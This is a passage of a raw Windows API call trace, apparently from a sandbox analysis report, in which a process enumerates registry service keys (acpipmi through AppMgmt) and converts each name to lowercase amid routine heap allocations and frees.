Size=0x80) returned 0x21f2eb0 [0253.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0253.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.989] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0253.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0253.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1e38, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0253.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.989] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0253.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0253.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.989] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0253.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0253.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.990] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0253.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0253.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.990] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0253.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0253.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.990] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0253.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0253.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.990] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0253.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0253.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.991] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0253.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0253.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.991] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0253.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0253.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.991] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0253.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0253.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.992] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0253.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0253.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.992] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0253.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0253.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.992] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0253.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0253.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.992] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0253.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0253.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.993] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0253.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0253.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.993] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0253.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0253.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.993] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0253.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0253.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.994] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.994] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.994] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0253.994] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.994] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0253.994] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.994] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.994] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.994] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.994] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0253.994] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.994] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0253.994] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.994] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.994] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.994] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.994] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0253.994] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.994] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0253.994] RtlAllocateHeap (HeapHandle=0x2520000, 